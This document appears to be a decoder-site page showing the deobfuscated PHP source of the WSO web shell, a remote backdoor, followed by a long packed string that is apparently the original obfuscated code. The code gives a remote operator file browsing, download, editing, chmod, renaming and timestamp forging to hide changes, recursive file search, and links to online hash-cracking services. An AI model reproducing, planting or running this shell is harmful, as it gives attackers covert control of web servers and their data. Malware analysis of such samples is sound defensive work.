return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=ne value=''>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
} function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
$o = "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